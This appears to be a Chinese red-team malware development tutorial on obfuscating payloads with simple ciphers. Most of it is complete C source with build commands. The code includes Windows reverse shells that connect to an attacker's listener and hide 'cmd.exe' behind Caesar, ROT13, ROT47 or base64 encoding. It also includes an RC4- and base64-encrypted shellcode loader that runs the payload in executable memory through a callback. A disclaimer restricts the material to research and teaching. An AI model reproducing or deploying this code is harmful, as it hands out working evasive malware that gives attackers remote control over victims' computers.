02-简单算法应用
01-简单算法及实战
01-凯撒Caesar
简单移位和替换
#include<winsock2.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#pragma comment(lib, "ws2_32.lib")
WSADATA wsaData;
SOCKET wSock;
structsockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;
voidcaesarTransform(char *str, int shift){
while (*str) {
if ((*str >= 'A' && *str <= 'Z')) {
*str = ((*str - 'A' - shift + 26) % 26) + 'A';
} elseif ((*str >= 'a' && *str <= 'z')) {
*str = ((*str - 'a' - shift + 26) % 26) + 'a';
}
str++;
}
}
voidcaesarEncrypt(char *str, int shift){
caesarTransform(str, shift);
}
voidcaesarDecrypt(char *str, int shift){
// Caesar encryption and decryption are the same
caesarTransform(str, shift);
}
intmain(int argc, char* argv[]){
// listener ip, port on attacker's machine
char *ip = "10.10.1.5";
short port = 4444;
// Caesar cipher shift value
int caesarShift = 7; // We can choose any positive integer shift value
// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);
// create socket
wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsignedint)NULL, (unsignedint)NULL);
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr.s_addr = inet_addr(ip);
// connect to remote host
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = STARTF_USESTDHANDLES;
// String to be decrypted via Caesar
char command[] = "jtk.lel";
// Decrypt the string using Caesar
caesarDecrypt(command, caesarShift);
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;
// start the decrypted command with redirected streams
CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);
}
编译
x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lws2_32
cmd.exe变换成了jtk.lel
02-ROT13
字母替换,旋转13个位置,字母共26个,因此加密算法也是解密算法
#include<winsock2.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#pragma comment(lib, "ws2_32.lib")
WSADATA wsaData;
SOCKET wSock;
structsockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;
voidrot13Transform(char *str){
while (*str) {
if ((*str >= 'A' && *str <= 'Z')) {
*str = ((*str - 'A' + 13) % 26) + 'A';
} elseif ((*str >= 'a' && *str <= 'z')) {
*str = ((*str - 'a' + 13) % 26) + 'a';
}
str++;
}
}
voidrot13Encrypt(char *str){
rot13Transform(str);
}
voidrot13Decrypt(char *str){
// ROT13 encryption and decryption are the same
rot13Transform(str);
}
intmain(int argc, char* argv[]){
// listener ip, port on attacker's machine
char *ip = "10.10.1.5";
short port = 4444;
// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);
// create socket
wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsignedint)NULL, (unsignedint)NULL);
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr.s_addr = inet_addr(ip);
// connect to remote host
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = STARTF_USESTDHANDLES;
// String to be decrypted via ROT13
char command[] = "pzq.rkr";
// Decrypt the string using ROT13
rot13Decrypt(command);
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;
// start the decrypted command with redirected streams
CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);
}
cmd.exe变成pzq.rkr
03-ROT47
另一个变种,一共94个字符(ASCII的33-126)
#include<winsock2.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#pragma comment(lib, "ws2_32.lib")
WSADATA wsaData;
SOCKET wSock;
structsockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;
voidrot47Encrypt(char *str){
while (*str) {
if ((*str >= 33 && *str <= 126)) {
*str = ((*str - 33 + 47) % 94) + 33;
}
str++;
}
}
voidrot47Decrypt(char *str){
// ROT47 encryption and decryption are the same
rot47Encrypt(str);
}
intmain(int argc, char* argv[]){
// listener ip, port on attacker's machine
char *ip = "10.10.1.5";
short port = 4444;
// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);
// create socket
wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsignedint)NULL, (unsignedint)NULL);
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr.s_addr = inet_addr(ip);
// connect to remote host
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = STARTF_USESTDHANDLES;
// String to be decrypted via ROT47
char command[] = "4>5]6I6";
// Decrypt the string using ROT47
rot47Decrypt(command);
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;
// start the decrypted command with redirected streams
CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);
}
cmd.exe变成4>5]6I6
02-base64算法实战
可以以ASCII码表示二进制数据,base64可以将二进制数据用64个字符表示,编码后的字符主要是64个字符位数不足用=补齐
使用base64加密cmd.exe
#include<winsock2.h>
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<wchar.h>
#include<wincrypt.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "crypt32.lib")
WSADATA wsaData;
SOCKET wSock;
structsockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;
// Base64 decoding function
voidbase64Decode(char* input, char* output){
DWORD decodedLength = 0;
CryptStringToBinaryA(input, 0, CRYPT_STRING_BASE64, NULL, &decodedLength, NULL, NULL);
CryptStringToBinaryA(input, 0, CRYPT_STRING_BASE64, (BYTE*)output, &decodedLength, NULL, NULL);
}
intmain(int argc, char* argv[]){
// listener ip, port on attacker's machine
char* ip = "10.10.1.5";
short port = 4444;
// Base64-encoded command
char* base64Cmd = "Y21kLmV4ZQ==";
// Base64 decode the command
char cmd[1024];
base64Decode(base64Cmd, cmd);
// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);
// create socket
wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsignedint)NULL, (unsignedint)NULL);
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr.s_addr = inet_addr(ip);
// connect to remote host
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = STARTF_USESTDHANDLES;
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)wSock;
// start cmd.exe with redirected streams
CreateProcessA(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);
}
编译
x86_64-w64-mingw32-g++ hack.c -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lcrypt32 -lws2_32
上面是使用<wincrypt.h>里面的加密解密函数实现,下面不使用自带函数,自己实现
#include<winsock2.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
WSADATA wsaData;
SOCKET wSock;
structsockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;
staticchar encodingChars[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'};
staticchar *decodingTable = NULL;
staticint modTable[] = {0, 2, 1};
voidcreateDecodingTable(){
decodingTable = (char*)malloc(256);
for (int i = 0; i < 64; i++)
decodingTable[(unsignedchar) encodingChars[i]] = i;
}
voidcleanUpBase64(){
free(decodingTable);
}
char *encodeBase64(constunsignedchar *data,
size_t inputLength,
size_t *outputLength){
*outputLength = 4 * ((inputLength + 2) / 3);
char *encodedData = (char*)malloc(*outputLength);
if (encodedData == NULL) returnNULL;
for (int i = 0, j = 0; i < inputLength;) {
unsignedint octetA = i < inputLength ? (unsignedchar)data[i++] : 0;
unsignedint octetB = i < inputLength ? (unsignedchar)data[i++] : 0;
unsignedint octetC = i < inputLength ? (unsignedchar)data[i++] : 0;
unsignedint triple = (octetA << 0x10) + (octetB << 0x08) + octetC;
encodedData[j++] = encodingChars[(triple >> 3 * 6) & 0x3F];
encodedData[j++] = encodingChars[(triple >> 2 * 6) & 0x3F];
encodedData[j++] = encodingChars[(triple >> 1 * 6) & 0x3F];
encodedData[j++] = encodingChars[(triple >> 0 * 6) & 0x3F];
}
for (int i = 0; i < modTable[inputLength % 3]; i++)
encodedData[*outputLength - 1 - i] = '=';
return encodedData;
}
unsignedchar *decodeBase64(constchar *data,
size_t inputLength,
size_t *outputLength){
if (decodingTable == NULL) createDecodingTable();
if (inputLength % 4 != 0) returnNULL;
*outputLength = inputLength / 4 * 3;
if (data[inputLength - 1] == '=') (*outputLength)--;
if (data[inputLength - 2] == '=') (*outputLength)--;
unsignedchar *decodedData = (unsignedchar*)malloc(*outputLength);
if (decodedData == NULL) returnNULL;
for (int i = 0, j = 0; i < inputLength;) {
unsignedint sextetA = data[i] == '=' ? 0 & i++ : decodingTable[data[i++]];
unsignedint sextetB = data[i] == '=' ? 0 & i++ : decodingTable[data[i++]];
unsignedint sextetC = data[i] == '=' ? 0 & i++ : decodingTable[data[i++]];
unsignedint sextetD = data[i] == '=' ? 0 & i++ : decodingTable[data[i++]];
unsignedint triple = (sextetA << 3 * 6) + (sextetB << 2 * 6) + (sextetC << 1 * 6) + (sextetD << 0 * 6);
if (j < *outputLength) decodedData[j++] = (triple >> 2 * 8) & 0xFF;
if (j < *outputLength) decodedData[j++] = (triple >> 1 * 8) & 0xFF;
if (j < *outputLength) decodedData[j++] = (triple >> 0 * 8) & 0xFF;
}
return decodedData;
}
intmain(int argc, char *argv[]){
// listener ip, port on attacker's machine
char *ip = "10.10.1.5";
short port = 4444;
// Base64 encoded string
char command[] = "Y21kLmV4ZQ==";
// Decode the Base64 string
size_t decodeSize = strlen(command);
char * decodedCmd = (char*)decodeBase64(command, decodeSize, &decodeSize);
// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);
// create socket
wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsignedint)NULL, (unsignedint)NULL);
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr.s_addr = inet_addr(ip);
// connect to remote host
WSAConnect(wSock, (SOCKADDR *)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = STARTF_USESTDHANDLES;
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)wSock;
// start the decoded command with redirected streams
CreateProcess(NULL, decodedCmd, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);
}
编译
x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lcrypt32 -lws2_32
运行
RC4 和base64可以组合使用
首先base64加密shellcode,再RC4加密,运行时反过来操作,先RC4解密再base64解密
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<windows.h>
#include<wincrypt.h>
#pragma comment (lib, "crypt32.lib")
intb64decode(const BYTE * src, unsignedint srcLen, char * dst, unsignedint dstLen){
DWORD outLen;
BOOL fRet;
outLen = dstLen;
fRet = CryptStringToBinary( (LPCSTR) src, srcLen, CRYPT_STRING_BASE64, (BYTE * )dst, &outLen, NULL, NULL);
if (!fRet) outLen = 0; // failed
return (outLen);
}
// swap
voidswap(unsignedchar *a, unsignedchar *b){
unsignedchar tmp;
tmp = *a;
*a = *b;
*b = tmp;
}
// key-scheduling algorithm (KSA)
voidKSA(unsignedchar *s, unsignedchar *key, int keyL){
int k;
int x, y = 0;
// initialize
for (k = 0; k < 256; k++) {
s[k] = k;
}
for (x = 0; x < 256; x++) {
y = (y + s[x] + key[x % keyL]) % 256;
swap(&s[x], &s[y]);
}
return;
}
// pseudo-random generation algorithm (PRGA)
unsignedchar* PRGA(unsignedchar* s, unsignedint messageL){
int i = 0, j = 0;
int k;
unsignedchar* keystream;
keystream = (unsignedchar *)malloc(sizeof(unsignedchar)*messageL);
for(k = 0; k < messageL; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
swap(&s[i], &s[j]);
keystream[k] = s[(s[i] + s[j]) % 256];
}
return keystream;
}
// encryption and decryption
unsignedchar* RC4(unsignedchar *plaintext, unsignedchar* ciphertext, unsignedchar* key, unsignedint keyL, unsignedint messageL){
int i;
unsignedchar s[256];
unsignedchar* keystream;
KSA(s, key, keyL);
keystream = PRGA(s, messageL);
for (i = 0; i < messageL; i++) {
ciphertext[i] = plaintext[i] ^ keystream[i];
}
return ciphertext;
}
intmain(int argc, char* argv[]){
unsignedchar* plaintext = (unsignedchar*)"/EiB5PD////o0AAAAEFRQVBSUVZIMdJlSItSYD5Ii1IYPkiLUiA+SItyUD5ID7dKSk0xyUgxwKw8YXwCLCBBwckNQQHB4u1SQVE+SItSID6LQjxIAdA+i4CIAAAASIXAdG9IAdBQPotIGD5Ei0AgSQHQ41xI/8k+QYs0iEgB1k0xyUgxwKxBwckNQQHBOOB18T5MA0wkCEU50XXWWD5Ei0AkSQHQZj5BiwxIPkSLQBxJAdA+QYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVo+SIsS6Un///9dScfBAAAAAD5IjZX+AAAAPkyNhQwBAABIMclBukWDVgf/1UgxyUG68LWiVv/VSGVsbG8sIFBhY2t0IQA9Xi4uXj0A";
unsignedchar* key = (unsignedchar*)"key";
unsignedchar* ciphertext = (unsignedchar *)malloc(sizeof(unsignedchar) * strlen((constchar*)plaintext));
RC4(plaintext, ciphertext, key, strlen((constchar*)key), strlen((constchar*)plaintext));
unsignedchar payload[] = "x24x29x5dxafx11xdfx3fx65x67x64x27x14x26x1cx53xbcxcex31xabx34xfaxb7xa1xacx63xa5xf2xf4x74x88x31xf2x47x74xc2xddxf0xcbx8fxf5x5axe6xb6xe8x73x16x4fxcfxafx54x79x0cx3fx90x7dxfdxa6x2bx0dx71xc7xb0xb6x40xf0x12xdcxa8xc5x20xb5xc0x45x25x03x30x03x23xd9xc8x82xbcx7dx1axfexccx66x32x2exaax40xc9x61xc2x72x77x70xbaxc7xd2x3bxeax3dx6fx07xf5xbcxaex1dx32xc8xf3x6fx1cx32xe0xd7x65x20x72xecx21xfexa9xc5x72x12xa6x06x38x01x3ex16xe8x09x68x87xc8x7fx0bx44xcfxbax9cxbex7cxfcx3bx96x3fx90xdcx96xe3x8cx3fx3axe7x57xa4xcdxa5x42x4bx55x2ex5bx89xf6xd9x80x55xf8xbcx0bx4ex66x96x01xcexc8x97x6axbdx31x6dxfdx53xaexcdx98xc9x28x73x60x4ax82xe1x2exb7x77xc5x97xbdx3dxedxc1x9cxebxc6x06x3ax44xf5xf8x7dx79x30x42xeaxbdx4dxbfxe5x18xcbxa5x78x6fxb7xf9x65xd7x36xbdx92x76xf0xdax60x97xacxd1xcfx98xbfxd7x66xd1x4bx34x96xfbxe9xf8xacx59xe9x0ex81x81xe4x7fxcfxd6x7fx16x48xe1x94x0cx7cx8exa0x85xa1x81x0fxc3x5fxfbxfdx05x7bx69x5bxb4x78x4ex1ex10x1bx29xc4xa9x1dxa6xa3xe6xa9xb0xddxc5x35x3bx0exdbxcax82x64x1ax19x53xddx65xe7xd3x5ex2ex7dx8cxfax9cx52x6cxa0xadx9ax8fxb6xdcx43x8bx8ex5fxacx46xb5x90x8ax16x3dx4dxb9x17xc6x6dx87x13xadxa3x78x68x7cxbcxcfx1cx36xa6xc6x31x2exf5xcdxd7x69xddxbax6exebx66xc5x3fx00x96x59xd0x28xedx3bx2dx62x76x55";
unsignedchar* encoded = (unsignedchar *)payload;
unsignedchar* decoded = (unsignedchar *)malloc(sizeof(unsignedchar) * (sizeof(payload) - 1));
RC4(encoded, decoded, key, strlen((constchar*)key), sizeof(payload) - 1);
unsignedint payload_bytes_len = 512;
char * decoded_payload_bytes = (char *)malloc(sizeof(char) * payload_bytes_len);
b64decode((const BYTE *)decoded, payload_bytes_len, decoded_payload_bytes, payload_bytes_len);
unsignedint decoded_payload_len = 288;
unsignedchar* decoded_payload = newunsignedchar[decoded_payload_len];
for (int j = 0; j < decoded_payload_len; j++) {
decoded_payload[j] = decoded_payload_bytes[j];
}
LPVOID mem = VirtualAlloc(NULL, decoded_payload_len + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, decoded_payload, decoded_payload_len);
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);
return0;
}
编译
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lcrypt32
原文始发于微信公众号(高级红队专家):【MalDev-13】简单算法实战应用
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论